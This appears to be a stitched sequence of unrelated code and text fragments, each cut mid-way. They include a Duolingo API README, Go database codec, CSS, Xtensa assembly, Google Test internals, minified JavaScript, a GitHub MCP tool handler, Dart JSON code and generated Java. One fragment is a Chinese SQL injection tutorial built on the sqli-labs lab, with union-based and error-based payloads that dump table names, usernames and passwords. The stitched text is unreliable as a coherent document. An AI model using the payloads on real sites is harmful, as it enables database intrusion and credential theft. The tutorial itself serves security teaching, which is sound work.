ccount has enough Lingots and is not yet equipped with the extension. Returns `True` if the extension was bought, `False` otherwise.
```py
# Sample Request
lingo  = duolingo.Duolingo('kartik', '...')
print(lingo.buy_streak_freeze())

# Sample Response
True
```

#### Set username
`lingo.set_username(username)`

Sets the username, and reloads user data. This then allows you to read another user's information via the same API.
This will not work with the [get_daily_xp_progress()](#get-daily-xp-progress) method, and obviously will not allow you to buy items for other users.
```py
# Sample Request
lingo = Duolingo("kartik","...")
print(lingo.get_languages())
lingo.set_username("kartik2")
print(lingo.get_languages())

# Sample response
['French', 'German', 'Russian', 'Chinese', 'Portuguese', 'Spanish']
['French']
```

#### Get Language Details
`lingo.get_language_details(language_name)`

Returns the language details for a given language, including the current streak, the level, and total number of points.
```py
# Sample Request
lingo  = duolingo.Duolingo('kartik', '...')
print(lingo.get_language_details('French'))
```
##### Parameters
`language_name` (string) **required**
--The name of a given language.
```py
# Sample Response
{
    'current_learning': True,
    'language': 'fr',
    'language_string': 'French',
    'learning': True,
    'level': 6,
    'points': 604,
    'streak': 0
}
```
#### Get Language Progress
`lingo.get_language_progress(language_abbr)`

Returns the language progress for a given language.
```py
# Sample Request
lingo  = duolingo.Duolingo('kartik', '...')
print(lingo.get_language_progress('fr'))
```
##### Parameters
`language_abbr` (string) **required**
--Abbrieviation of a given language.
```py
# Sample Response
{
    'language': 'fr',
    'language_string': 'French',
    'level_left': 146,
    'level_percent': 51,
    'level_points': 300,
    'level_progress': 154,
    'next_level': 7,
    'num_skills_learned': 15,
    'points': 604,
    'points_rank': 3,
    'streak': 0
}
```
#### Get Known Topics
`lingo.get_known_topics(language_abbr)`

Returns a list containing the names of the known topics. See [`get_learned_skills`](#get-learned-skills) to return entire skill data.

Note: Order is not guaranteed.
```py
# Sample Request
lingo  = duolingo.Duolingo('kartik', '...')
print(lingo.get_known_topics('fr'))
```
##### Parameters
`language_abbr` (string) **required**
--Abbrieviation of a given language.
```py
# Sample Response
[
    'Colors',
    'Basics 2',
    'Animals',
    'Possessives',
    'Verbs: \xcatre / Avoir',
    'Clothing',
    'Food',
    'Questions',
    'Basics',
    'Verbs: Present 1',
    'Plurals',
    'Common Phrases',
    'Adjectives 1'
]
```
#### Get Unknown Topics
`lingo.get_unknown_topics(language_abbr)`

Returns a list containing the names of the unlearned topics.

Note: Order is not guaranteed.
```py
# Sample Request
lingo  = duolingo.Duolingo('kartik', '...')
print(lingo.get_unknown_topics())
```
##### Parameters
`language_abbr` (string) **required**
--Abbrieviation of a given language.
```py
# Sample Response


nt) []byte {
	start, end := r.getOffsets(i)
	return r.data[start:end]
}

func (r *row) fromBytes(rowData []byte) error {
	if rowData[0] != CodecVer {
		return errInvalidCodecVer
	}
	r.flags = rowData[1]
	r.numNotNullCols = binary.LittleEndian.Uint16(rowData[2:])
	r.numNullCols = binary.LittleEndian.Uint16(rowData[4:])
	cursor := 6
	lastOffset := 0
	if r.large() {
		colIDsLen := int(r.numNotNullCols+r.numNullCols) * 4
		r.colIDs32 = bytesToU32Slice(rowData[cursor : cursor+colIDsLen])
		cursor += colIDsLen
		offsetsLen := int(r.numNotNullCols) * 4
		r.offsets32 = bytesToU32Slice(rowData[cursor : cursor+offsetsLen])
		cursor += offsetsLen
		if n := len(r.offsets32); n > 0 {
			lastOffset = int(r.offsets32[n-1])
		}
	} else {
		colIDsLen := int(r.numNotNullCols + r.numNullCols)
		r.colIDs = rowData[cursor : cursor+colIDsLen]
		cursor += colIDsLen
		offsetsLen := int(r.numNotNullCols) * 2
		r.offsets = bytes2U16Slice(rowData[cursor : cursor+offsetsLen])
		cursor += offsetsLen
		if n := len(r.offsets); n > 0 {
			lastOffset = int(r.offsets[n-1])
		}
	}
	r.data = rowData[cursor : cursor+lastOffset]
	cursor += lastOffset

	if r.hasChecksum() {
		r.checksumHeader = rowData[cursor]
		checksumVersion := r.ChecksumVersion()
		// make sure it can be read previous version checksum to support backward compatibility.
		switch checksumVersion {
		case 0, 1, 2:
		default:
			return errInvalidChecksumVer
		}
		cursor++
		r.checksum1 = binary.LittleEndian.Uint32(rowData[cursor:])
		if r.hasExtraChecksum() {
			cursor += 4
			r.checksum2 = binary.LittleEndian.Uint32(rowData[cursor:])
		}
	} else {
		r.checksumHeader = 0
		r.checksum1 = 0
		r.checksum2 = 0
	}
	return nil
}

func (r *row) toBytes(buf []byte) []byte {
	buf = append(buf, CodecVer)
	buf = append(buf, r.flags)
	buf = append(buf, byte(r.numNotNullCols), byte(r.numNotNullCols>>8))
	buf = append(buf, byte(r.numNullCols), byte(r.numNullCols>>8))
	if r.large() {
		buf = append(buf, u32SliceToBytes(r.colIDs32)...)
		buf = append(buf, u32SliceToBytes(r.offsets32)...)
	} else {
		buf = append(buf, r.colIDs...)
		buf = append(buf, u16SliceToBytes(r.offsets)...)
	}
	buf = append(buf, r.data...)
	return buf
}

func (r *row) findColID(colID int64) (idx int, isNil, notFound bool) {
	// Search the column in not-null columns array.
	i, j := 0, int(r.numNotNullCols)
	for i < j {
		h := int(uint(i+j) >> 1) // avoid overflow when computing h
		// i ≤ h < j
		var v int64
		if r.large() {
			v = int64(r.colIDs32[h])
		} else {
			v = int64(r.colIDs[h])
		}
		if v < colID {
			i = h + 1
		} else if v == colID {
			idx = h
			return
		} else {
			j = h
		}
	}

	// Search the column in null columns array.
	i, j = int(r.numNotNullCols), int(r.numNotNullCols+r.numNullCols


fantasy;*/  /* useful for debugging font loading */
	font-weight: 400;
	font-size: 12pt;
}
@media print {
	body {
		font-family: serif;
		font-weight: 400;
		font-size: 10pt;
	}
}

/* web font loading */
html {
	visibility: hidden;
}
html.wf-active {
	visibility: visible;
}
html.wf-inactive {
	visibility: visible;
}
html.wf-fail {
	/* custom rule, see: http://kevindew.me/post/47052453532/a-fallback-for-when-google-web-font-loader-fails */
	visibility: visible;
}
html.wf-nojavascript {
	/* custom rule, allows non-javascript browsers to render using fallback fonts */
	visibility: visible;
}

/*
 *  API specific CSS rules
 */

@media screen and (min-width:801px) {
	/* On wide screens, slide API entry section headings to the side
	 * to make the entries more compact.
	 *
	 * Specificity must override normal section heading rules.
	 *
	 * The challenge here is to keep the section heading vertically
	 * aligned with the content on the right.  To do this, we need
	 * to avoid top margins in the elements on the right (paragraphs,
	 * stacks, <pre>-blocks) which is a bit hackish.  The api-part
	 * div margins are then used to provide spacing between the API
	 * documentation parts.
	 */

	.api-call h2.api-proto,
	.api-call h2.api-stack,
	.api-call h2.api-summary,
	.api-call h2.api-example,
	.api-call h2.api-seealso {
		position: absolute;
		left: 10px;
		margin: 0;
		padding: 0 0 0 0;
		width: 200px;
		text-align: right;
		height: 0;
		overflow: visible;
		color: #ccccdd;
		font-size: 100%;
	}

	.api-part {
		margin: 3ex 0 3ex 0;
	}

	.content .api-call .stack-wrapper {
		margin-top: 0;
		margin-bottom: 2ex;
	}
	.content .api-call .stack {
		margin-top: 0;
	}

	.content .api-call p {
		margin-top: 0;
	}
	.content .api-call pre {
		margin-top: 0;
	}
}

/* Selector specificity issues here, workaround is to add more selectors. */
h1.apih1 a.apitag {
	float: right;
	margin: 3px;
	border: 2px solid #cccccc;
	border-radius: 4px;
	padding: 3px;
	font-size: 8pt;
	background: #eeeeee;
	color: #888888;
}
h1.apih1 a.apitag:hover {
	background: #ffffff;
	color: #888888;
}
h1.apih1 a.apitag visited {
	color: #888888;
}
h1.apih1 a.apitagwarn {
	background: #dd0000;
	border-color: #880000;
	color: #ffffff;
}
h1.apih1 a.apitagwarn:hover {
	background: #ff8800;
	color: #ffffff;
}
h1.apih1 a.apitagwarn:visited {
	color: #ffffff;
}
h1.apih1 a.apitagprotected {
	background: #00aa00;
	border-color: #004400;
	color: #ffffff;
}
h1.apih1 a.apitagprotected:hover {
	background: #55cc55;
	color: #ffffff;
}
h1.apih1 a.apitagprotected:visited {
	color: #ffffff;
}
/*


        EE.VUNZIP.16 q2, q3

        // combine results with using multiply-add as shift-or
        EE.VMULAS.U16.ACCX q2,q4

        // load 32-bit LUT results
        EE.LDXQ.32 q2, q1, a4, 0, 6
        EE.LDXQ.32 q2, q1, a4, 1, 7
        EE.LDXQ.32 q2, q1, a4, 2, 4
        EE.LDXQ.32 q2, q1, a4, 3, 5
        EE.LDXQ.32 q0, q1, a4, 0, 2
        EE.LDXQ.32 q0, q1, a4, 1, 3
        EE.LDXQ.32 q0, q1, a4, 2, 0
        EE.LDXQ.32 q0, q1, a4, 3, 1

        // store multiplication result in a6
        RUR.ACCX_0 a6
        s16i a6, a3, 2

        EE.ZERO.ACCX

        // zip to have 16bit LUT results in q2, q0 zeroes
        EE.VUNZIP.16 q2, q0

        // Combine second set of results and load the next data
        EE.VMULAS.U16.ACCX.LD.IP q1, a2, 16, q2, q4

        // store result in a6
        RUR.ACCX_0 a6
        s16i a6, a3, 0

        addi.n a3, a3, 4
.loop_end_lut_lookup:

    // Same as above, but in the last iteration
    // we do not load to not access out of bounds.
    EE.VZIP.8 q1, q0

    EE.LDXQ.32 q2, q0, a4, 0, 6
    EE.LDXQ.32 q2, q0, a4, 1, 7
    EE.LDXQ.32 q2, q0, a4, 2, 4
    EE.LDXQ.32 q2, q0, a4, 3, 5
    EE.LDXQ.32 q3, q0, a4, 0, 2
    EE.LDXQ.32 q3, q0, a4, 1, 3
    EE.LDXQ.32 q3, q0, a4, 2, 0
    EE.LDXQ.32 q3, q0, a4, 3, 1

    EE.ZERO.ACCX
    EE.VUNZIP.16 q2, q3
    EE.VMULAS.U16.ACCX q2,q4

    EE.LDXQ.32 q2, q1, a4, 0, 6
    EE.LDXQ.32 q2, q1, a4, 1, 7
    EE.LDXQ.32 q2, q1, a4, 2, 4
    EE.LDXQ.32 q2, q1, a4, 3, 5
    EE.LDXQ.32 q0, q1, a4, 0, 2
    EE.LDXQ.32 q0, q1, a4, 1, 3
    EE.LDXQ.32 q0, q1, a4, 2, 0
    EE.LDXQ.32 q0, q1, a4, 3, 1

    RUR.ACCX_0 a6
    s16i a6, a3, 2
    EE.ZERO.ACCX

    EE.VUNZIP.16 q2, q0
    EE.VMULAS.U16.ACCX q2, q4
    RUR.ACCX_0 a6
    s16i a6, a3, 0

    movi.n	a2, 0 // return status ESP_OK
    retw.n

#endif


  const int death_test_index = info->result()->death_test_count();

  if (flag != NULL) {
    set_write_fd(flag->write_fd());
    return EXECUTE_TEST;
  }

  int pipe_fd[2];
  GTEST_DEATH_TEST_CHECK_(pipe(pipe_fd) != -1);
  // Clear the close-on-exec flag on the write end of the pipe, lest
  // it be closed when the child process does an exec:
  GTEST_DEATH_TEST_CHECK_(fcntl(pipe_fd[1], F_SETFD, 0) != -1);

  const String filter_flag =
      String::Format("--%s%s=%s.%s",
                     GTEST_FLAG_PREFIX_, kFilterFlag,
                     info->test_case_name(), info->name());
  const String internal_flag =
      String::Format("--%s%s=%s|%d|%d|%d",
                     GTEST_FLAG_PREFIX_, kInternalRunDeathTestFlag,
                     file_, line_, death_test_index, pipe_fd[1]);
  Arguments args;
  args.AddArguments(GetArgvs());
  args.AddArgument(filter_flag.c_str());
  args.AddArgument(internal_flag.c_str());

  DeathTest::set_last_death_test_message("");

  CaptureStderr();
  // See the comment in NoExecDeathTest::AssumeRole for why the next line
  // is necessary.
  FlushInfoLog();

  const pid_t child_pid = ExecDeathTestFork(args.Argv(), pipe_fd[0]);
  GTEST_DEATH_TEST_CHECK_SYSCALL_(close(pipe_fd[1]));
  set_child_pid(child_pid);
  set_read_fd(pipe_fd[0]);
  set_spawned(true);
  return OVERSEE_TEST;
}

# endif  // !GTEST_OS_WINDOWS

// Creates a concrete DeathTest-derived class that depends on the
// --gtest_death_test_style flag, and sets the pointer pointed to
// by the "test" argument to its address.  If the test should be
// skipped, sets that pointer to NULL.  Returns true, unless the
// flag is set to an invalid value.
bool DefaultDeathTestFactory::Create(const char* statement, const RE* regex,
                                     const char* file, int line,
                                     DeathTest** test) {
  UnitTestImpl* const impl = GetUnitTestImpl();
  const InternalRunDeathTestFlag* const flag =
      impl->internal_run_death_test_flag();
  const int death_test_index = impl->current_test_info()
      ->increment_death_test_count();

  if (flag != NULL) {
    if (death_test_index > flag->index()) {
      DeathTest::set_last_death_test_message(String::Format(
          "Death test count (%d) somehow exceeded expected maximum (%d)",
          death_test_index, flag->index()));
      return false;
    }

    if (!(flag->file() == file && flag->line() == line &&
          flag->index() == death_test_index)) {
      *test = NULL;
      return true;
    }
  }

# if GTEST_OS_WINDOWS

  if (GTEST_FLAG(death_test_style) == "threadsafe" ||
      GTEST_FLAG(death_test_style) == "fast") {
    *test = new WindowsDeathTest(statement, regex, file, line);
  }

# else

  if (GTEST_FLAG(death_test_style) == "threadsafe") {
    *test = new ExecDeathTest(statement, regex, file, line);
  } else if (GTEST_FLAG(death_test_style) == "fast") {
    *test = new NoExecDeathTest(statement, regex);
  }

# endif  // GTEST_OS_WINDOWS

  else {  // NOLINT - this is more readable than unbalanced brackets inside #if.
    DeathTest::set_last_death_test_message(String::Format(
        "Unknown death test style \"%s\" encountered",
        GTEST_FLAG(death_test_style).


e,t,n){"-"==t[0]?e.setProperty(t,null==n?"":n):e[t]=null==n?"":"number"!=typeof n||eW.test(t)?n:n+"px"}function eX(e,t,n,s,i){var r;e:if("style"==t){if("string"==typeof n)e.style.cssText=n;else{if("string"==typeof s&&(e.style.cssText=s=""),s)for(t in s)n&&t in n||eQ(e.style,t,"");if(n)for(t in n)s&&n[t]===s[t]||eQ(e.style,t,n[t])}}else if("o"==t[0]&&"n"==t[1])r=t!=(t=t.replace(eN,"$1")),t=t.toLowerCase()in e||"onFocusOut"==t||"onFocusIn"==t?t.toLowerCase().slice(2):t.slice(2),e.l||(e.l={}),e.l[t+r]=n,n?s?n.u=s.u:(n.u=eO,e.addEventListener(t,r?eT:eR,r)):e.removeEventListener(t,r?eT:eR,r);else{if("http://www.w3.org/2000/svg"==i)t=t.replace(/xlink(H|:h)/,"h").replace(/sName$/,"s");else if("width"!=t&&"height"!=t&&"href"!=t&&"list"!=t&&"form"!=t&&"tabIndex"!=t&&"download"!=t&&"rowSpan"!=t&&"colSpan"!=t&&"role"!=t&&"popover"!=t&&t in e)try{e[t]=null==n?"":n;break e}catch(e){}"function"==typeof n||(null==n||!1===n&&"-"!=t[4]?e.removeAttribute(t):e.setAttribute(t,"popover"==t&&1==n?"":n))}}function e0(e){return function(t){if(this.l){var n=this.l[t.type+e];if(null==t.t)t.t=eO++;else if(t.t<n.u)return;return n(eS.event?eS.event(t):t)}}}function e1(e,t,n,s,i,r,a,o,c,l){var h,d,u,p,f,g,m,y,b,_,w,v,k,x,C,E,I,S=t.type;if(void 0!==t.constructor)return null;128&n.__u&&(c=!!(32&n.__u),r=[o=t.__e=n.__e]),(h=eS.__b)&&h(t);e:if("function"==typeof S)try{if(y=t.props,b="prototype"in S&&S.prototype.render,_=(h=S.contextType)&&s[h.__c],w=h?_?_.props.value:h.__:s,n.__c?m=(d=t.__c=n.__c).__=d.__E:(b?t.__c=d=new S(y,w):(t.__c=d=new eK(y,w),d.constructor=S,d.render=e5),_&&_.sub(d),d.props=y,d.state||(d.state={}),d.context=w,d.__n=s,u=d.__d=!0,d.__h=[],d._sb=[]),b&&null==d.__s&&(d.__s=d.state),b&&null!=S.getDerivedStateFromProps&&(d.__s==d.state&&(d.__s=eq({},d.__s)),eq(d.__s,S.getDerivedStateFrom


olPanel.animateOut{animation-duration:.25s;animation-name:pCPanimateOut;overflow-y:auto}@keyframes pCPanimateOut{0%{right:0px;top:0px}100%{right:-269px;top:0px}}.GeoGebraFrame .mowPagePreviewCard{position:absolute;width:calc(100% - 32px);margin-left:16px;border-radius:2px;background-color:#fff;box-shadow:0px 3px 1px -2px rgba(0,0,0,.2),0px 2px 2px 0px rgba(0,0,0,.14),0px 1px 5px 0px rgba(0,0,0,.12);transition:box-shadow .25s;cursor:pointer}.GeoGebraFrame .mowPagePreviewCard .mowImagePanel{width:100%;height:124px;border:2px solid transparent;border-bottom:none;box-sizing:border-box;border-radius:2px 2px 0 0;background-repeat:no-repeat;background-position:center;background-size:110%}.GeoGebraFrame .mowPagePreviewCard .mowTitlePanel{height:60px;flex-direction:column}.GeoGebraFrame .mowPagePreviewCard .mowTitlePanel .cardTitle{padding-bottom:4px;height:20px;line-height:20px}.GeoGebraFrame .mowPagePreviewCard .mowTitlePanel .cardAuthor{padding-top:4px;padding-bottom:8px;position:inherit;display:block}.GeoGebraFrame .mowPagePreviewCard .mowTitlePanel .mowMoreButton{width:24px;height:24px;padding:8px 6px 12px 16px;right:0;position:absolute;opacity:.54}.GeoGebraFrame .mowPagePreviewCard .mowTitlePanel .mowMoreButton:hover{opacity:.85}.GeoGebraFrame .mowPagePreviewCard .mowTitlePanel .mowMoreButton.active{opacity:1}.GeoGebraFrame .mowPagePreviewCard.selected{box-shadow:0px 3px 1px -2px rgba(0,0,0,.2),0px 2px 2px 0px rgba(0,0,0,.14),0px 1px 5px 0px rgba(0,0,0,.12);transition:box-shadow .25s}.GeoGebraFrame .mowPagePreviewCard.selected .mowImagePanel{border:2px solid var(--ggb-primary-color);border-bottom:none}.GeoGebraFrame .mowPagePreviewCard.selected .mowTitlePanel{border:2px solid var(--ggb-primary-color);border-top:none}.GeoGebraFrame .mowPagePreviewCard.selected .gwt-Label{padding-bottom:14px;padding-left:14px}.GeoGebraFrame .mowPagePreviewCard.selected .mowMoreButton{padding-bottom:10px}.GeoGebraFrame .mowPagePreviewCard.desktop:hover{box-shadow:0px 5px 5px -3px rgba(0,0,0,.2),0px 8px 10px 1px rgba(0,0,0,.14),0px 3px 14px 2px rgba(0,0,0,.12)}.GeoGebraFrame .mowPagePreviewCard.dragged{z-index:60}.GeoGebraFrame .mowPagePreviewCard.dragCanStart{box-shadow:0px 5px 5px -3px rgba(0,0,0,.2),0px 8px 10px 1px rgba(0,0,0,.14),0px 3px 14px 2px rgba(0,0,0,.12) !important}.GeoGebraFrame .mowMatMenu.gwt-PopupPanel{width:168px;min-width:112px !important;z-index:502}.GeoGebraFrame .mowMatMenu.gwt-PopupPanel .gwt-MenuItem{width:168px;min-width:112px !important;padding-left:56px !important}.GeoGebraFrame .mowCalcLabel{font-size:16px;width:fit-content;visibility:hidden}.GeoGebraFrame .mowWidget{position:absolute;border-style:none;


			mcp.WithString("path",
				mcp.Description("The relative path to the file that necessitates a comment. Required unless in_reply_to is specified."),
			),
			mcp.WithString("subject_type",
				mcp.Description("The level at which the comment is targeted"),
				mcp.Enum("line", "file"),
			),
			mcp.WithNumber("line",
				mcp.Description("The line of the blob in the pull request diff that the comment applies to. For multi-line comments, the last line of the range"),
			),
			mcp.WithString("side",
				mcp.Description("The side of the diff to comment on"),
				mcp.Enum("LEFT", "RIGHT"),
			),
			mcp.WithNumber("start_line",
				mcp.Description("For multi-line comments, the first line of the range that the comment applies to"),
			),
			mcp.WithString("start_side",
				mcp.Description("For multi-line comments, the starting side of the diff that the comment applies to"),
				mcp.Enum("LEFT", "RIGHT"),
			),
			mcp.WithNumber("in_reply_to",
				mcp.Description("The ID of the review comment to reply to. When specified, only body is required and all other parameters are ignored"),
			),
		),
		func(ctx context.Context, request mcp.CallToolRequest) (*mcp.CallToolResult, error) {
			owner, err := requiredParam[string](request, "owner")
			if err != nil {
				return mcp.NewToolResultError(err.Error()), nil
			}
			repo, err := requiredParam[string](request, "repo")
			if err != nil {
				return mcp.NewToolResultError(err.Error()), nil
			}
			pullNumber, err := RequiredInt(request, "pull_number")
			if err != nil {
				return mcp.NewToolResultError(err.Error()), nil
			}
			body, err := requiredParam[string](request, "body")
			if err != nil {
				return mcp.NewToolResultError(err.Error()), nil
			}

			client, err := getClient(ctx)
			if err != nil {
				return nil, fmt.Errorf("failed to get GitHub client: %w", err)
			}

			// Check if this is a reply to an existing comment
			if replyToFloat, ok := request.Params.Arguments["in_reply_to"].(float64); ok {
				// Use the specialized method for reply comments due to inconsistency in underlying go-github library: https://github.com/google/go-github/pull/950
				commentID := int64(replyToFloat)
				createdReply, resp, err := client.PullRequests.CreateCommentInReplyTo(ctx, owner, repo, pullNumber, body, commentID)
				if err != nil {
					return nil, fmt.Errorf("failed to reply to pull request comment: %w", err)
				}
				defer func() { _ = resp.Body.Close() }()

				if resp.StatusCode != http.StatusCreated {
					respBody, err := io.ReadAll(resp.Body)
					if err != nil {
						return nil, fmt.Errorf("failed to read response body: %w", err)
					}
					return mcp.NewToolResultError(fmt.Sprintf("failed to reply to pull request comment: %s", string(respBody))), nil
				}

				r, err := json.Marshal(createdReply)
				if err != nil {
					return nil, fmt.Errorf("failed to marshal response: %w", err)
				}

				return mcp.NewToolResultText(string(r)), nil
			}

			// This is a new comment, not a reply
			// Verify required parameters for a new comment
			commitID, err := requiredParam[string](request, "commit_id")
			if err != nil {
				return mcp.NewToolResultError(err.Error()), nil
			}
			path, err := requiredParam[string](request, "path")
			if err != nil {
				return mcp.NewToolResultError(err.Er


using ClassifiedAds.Application;
using ClassifiedAds.Application.Common.DTOs;
using ClassifiedAds.Contracts.AuditLog.DTOs;
using ClassifiedAds.Modules.AuditLog.Authorization;
using ClassifiedAds.Modules.AuditLog.Queries;
using ClassifiedAds.Modules.AuditLog.RateLimiterPolicies;
using Microsoft.AspNetCore.Authorization;
using Microsoft.AspNetCore.Mvc;
using Microsoft.AspNetCore.RateLimiting;
using System.Collections.Generic;
using System.Threading.Tasks;

namespace ClassifiedAds.Modules.AuditLog.Controllers;

[Authorize]
[Produces("application/json")]
[Route("api/[controller]")]
[ApiController]
public class AuditLogEntriesController : ControllerBase
{
    private readonly Dispatcher _dispatcher;

    public AuditL


处理后会变成空格，用来和后面的单引号分隔开，才能将后面的语句注释。）
```

可以看到，如果没有经过过滤就将用户提交的非法数据带入后端执行的话，真正执行的语句是`SELECT * FROM user WHERE id='-1' union select 1,2,database() -- ' LIMIT 0,1`，而后面被注释的部分不执行，那么就不会引发错误，在查询id字段值为-1没有结果后，就会执行union查询，查询出数据库名并输出，这就是最典型的sql注入。

## 漏洞分类：

就不按照数字型字符型这些来分类了，我认为按照利用方式来分类更容易理解

**有回显**

```
Union query #联合查询注入，通过union联合查询获取查询结果

Error based #报错注入，通过报错信息获取查询结果
```

**无回显**

```
Boolean based blind #布尔盲注，通过应用返回不同的值判断条件真假
Time based blind #时间盲注，通过不同的时间延迟推断条件真假
```

## 漏洞检测：

#### **手工检测**

提交的参数与数据库交互，参数添加“ ' ”（英文单引号），出现异常（sql语法错误），即存在sql注入，如果无回显，可以通过延时或者布尔盲注来检测是否存在漏洞。

**注：异常报错的原因是因为后台将参数中的单引号带入sql语句进行数据库操作，多了一个单引号引发sql语法错误，所以报错即整明了我们的单引号进入了sql语句执行中。**

#### **工具检测**

使用sqlmap进行检测，这里是下载地址和使用说明[点击跳转](https://github.com/sqlmapproject/sqlmap)

## 漏洞利用：

#### **手工注入**

有回显型构造语句查询数据，无回显型进行盲注，不过比较费时间。

这里就以mysql的数据库，sqli-labs的less-1为例，列出一些常用的语句，如果要详细展开细讲的话，篇幅肯定会特别特别长，一篇文章恐怕各位看官们也看不下去，各位需要用到更多的语句时自行百度即可，如果需要的话后面可以分开出详细的各中注入方式的详解文章。

##### **UNION联合查询注入**

```sql
爆列数：?id=-1' order by n--+(“n”到几不报错则有n-1列)
爆库名：?id=-1' union select 1,2,database() --+
爆表明：?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+
爆列名：?id=-1' union select 1，2，group_concat(column_name) from information_schema.columns where table_name='users' --+
爆数据：?id=-1' union select 1，group_concat(username),group_concat(password) from users --+

注：使用中根据实际需要修改字段数（列数）以及库名表名等，union查询的字段数需要和表中的字段数相同才可以
```

##### **报错注入**

```sql
爆库名：?id=-1’ union select count(*),count(*),concat(‘~’,(select database()),'~',floor(rand()*2)) as a from information_schema.tables group by a--+
爆表名：?id=-1' union select count(*),count(*), concat('~',(select concat(table_name) from information_schema.tables where tab


// Licensed to the .NET Foundation under one or more agreements.
// The .NET Foundation licenses this file to you under the MIT license.
// See the LICENSE file in the project root for more information.

using System;
using System.Composition;
using Microsoft.CodeAnalysis.ExternalAccess.Copilot.SemanticSearch;
using Microsoft.CodeAnalysis.Host.Mef;
using Microsoft.CodeAnalysis.SemanticSearch;

namespace Microsoft.CodeAnalysis.ExternalAccess.Copilot.Internal.SemanticSearch;

[Export(typeof(ISemanticSearchSolutionService)), Shared]
[method: ImportingConstructor]
[method: Obsolete(MefConstruction.ImportingConstructorMessage, error: true)]
internal sealed class CopilotSemanticSearchSolutionService(
    [Import(AllowDefault = true)] ICopilotSemanticSearchSolutionService? impl) : ISemanticSearc


olive/>#Hololive
#Virtual YouTuber 1000+ bookmarks

<button class="btn btn-source">查看来源</button>
<button class="btn btn-download" id=downloadText>下载原图</button>
<button class="btn btn-star" id=starText>添加收藏</button>

分享到：

<link href="https://fonts.googleapis.com/icon?family=Material+Icons+Round" rel=stylesheet><link href=https://cdn.jsdelivr.net/npm/@mdi/font@7.2.96/css/materialdesignicons.min.css rel=stylesheet>

版权所有 ©萌哩（moely），保留一切权利。

本站总访问量：次
本站内容收集自互联网，如有内容侵犯了你的权益，请联系删除相关内容。
关于网站 | 用户协议及隐私政策 | 关注我们

<img src


/* blinks the LED of USB device */
void usbBlink_USBDIO24(hid_device *hid)
{
  struct report_t {
    uint8_t cmd;
    uint8_t pad[7];
  } report;

  report.cmd = BLINK_LED;
  PMD_SendOutputReport(hid, (uint8_t *) &report, sizeof(report));
}

/* resets the USB device */
int usbReset_USBDIO24(hid_device *hid)
{
  uint8_t cmd[8];

  cmd[0] = RESET;

  return PMD_SendOutputReport(hid, cmd, sizeof(cmd));
}

uint8_t usbGetID_USBDIO24(hid_device *hid)
{
  uint8_t cmd[8];

  cmd[0] = GET_ID;

  PMD_SendOutputReport(hid, cmd, sizeof(cmd));
  PMD_GetInputReport(hid, cmd, sizeof(cmd), LS_DELAY);

  return cmd[0];
}

void usbSetID_USBDIO24(hid_device *hid, uint8_t id)
{
  uint8_t cmd[8];

  cmd[0] = SET_ID;
  cmd[1] = id;

  PMD_SendOutputReport(hid, cmd, sizeof(cmd));
}


  }
}

/// Implements the chunked conversion from object to its JSON representation.
///
/// The sink only accepts one value, but will produce output in a chunked way.
class _JsonEncoderSink extends ChunkedConversionSink<Object?> {
  final String? _indent;
  final Object? Function(dynamic)? _toEncodable;
  final StringConversionSink _sink;
  bool _isDone = false;

  _JsonEncoderSink(this._sink, this._toEncodable, this._indent);

  /// Encodes the given object [o].
  ///
  /// It is an error to invoke this method more than once on any instance. While
  /// this makes the input effectively non-chunked the output will be generated
  /// in a chunked way.
  void add(Object? o) {
    if (_isDone) {
      throw StateError("Only one call to add allowed");
    }
    _isDone = true;
    var stringSink = _sink.asStringSink();
    _JsonStringStringifier.printOn(o, stringSink, _toEncodable, _indent);
    stringSink.close();
  }

  void close() {/* do nothing */}
}

/// Sink returned when starting a chunked conversion from object to bytes.
class _JsonUtf8EncoderSink extends ChunkedConversionSink<Object?> {
  /// The byte sink receiving the encoded chunks.
  final ByteConversionSink _sink;
  final List<int>? _indent;
  final Object? Function(dynamic)? _toEncodable;
  final int _bufferSize;
  bool _isDone = false;
  _JsonUtf8EncoderSink(
      this._sink, this._toEncodable, this._indent, this._bufferSize);

  /// Callback called for each slice of result bytes.
  void _addChunk(Uint8List chunk, int start, int end) {
    _sink.addSlice(chunk, start, end, false);
  }

  void add(Object? object) {
    if (_isDone) {
      throw StateError("Only one call to add allowed");
    }
    _isDone = true;
    _JsonUtf8Stringifier.stringify(
        object, _indent, _toEncodable, _bufferSize, _addChunk);
    _sink.close();
  }

  void close() {
    if (!_isDone) {
      _isDone = true;
      _sink.close();
    }
  }
}

/// This class parses JSON strings and builds the corresponding objects.
///
/// A JSON input must be the JSON encoding of a single JSON value,
/// which can be a list or map containing other values.
///
/// Throws [FormatException] if the input is not valid JSON text.
///
/// Example:
/// ```dart
/// const JsonDecoder decoder = JsonDecoder();
///
/// const String jsonString = '''
///   {
///     "data": [{"text": "foo", "value": 1 },
///              {"text": "bar", "value": 2 }],
///     "text": "Dart"
///   }
/// ''';
///
/// final Map<String, dynamic> object = decoder.convert(jsonString);
///
/// final item = object['data'][0];
/// print(item['text']); // foo
/// print(item['value']); // 1
///
/// print(object['text']); // Dart
/// ```
///
/// When used as a [StreamTransformer], the input stream may emit
/// multiple strings. The concatenation of all of these strings must
/// be a valid JSON encoding of a single JSON value.
class JsonDecoder extends Converter<String, Object?> {
  final Object? Function(Object? key, Object? value)? _reviver;

  /// Constructs a new JsonDecoder.
  ///
  /// The [reviver] may be `null`.
  const JsonDecoder([Object? reviver(Object? key, Object? value)?])
      : _reviver = reviver;

  /// Converts the given JSON-string [input] to its corresponding object.
  ///
  /// Parsed JSON values are of the types [num], [String], [bool], [Null],
  /// [List]s of parsed JSON values or [Map]s from [String] to parsed JSON
  /// va


curely, by setting limits to the number of downloads/uploads, protecting the share with a password, limiting access by source IP address, setting an automatic expiration date.
 *
 * The version of the OpenAPI document: 2.6.4
 *
 *
 * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
 * https://openapi-generator.tech
 * Do not edit the class manually.
 */

package ch.bedag.dap.hellodata.sidecars.sftpgo.client.model;

import com.fasterxml.jackson.annotation.JsonInclude;
import com.fasterxml.jackson.annotation.JsonProperty;
import com.fasterxml.jackson.annotation.JsonPropertyOrder;

import java.util.ArrayList;
import java.util.List;
import java.util.Objects;

/**
 * MFAStatus
 */
@JsonPropertyOrder({
        MFAStatus.JSON_PROPERTY_IS_ACTIVE,
        MFAStatus.JSON_PROPERTY_TOTP_CONFIGS
})
@jakarta.annotation.Generated(value = "org.openapitools.codegen.languages.JavaClientCodegen", date = "2024-12-10T09:15:17.190691+01:00[Europe/Warsaw]", comments = "Generator version: 7.9.0")
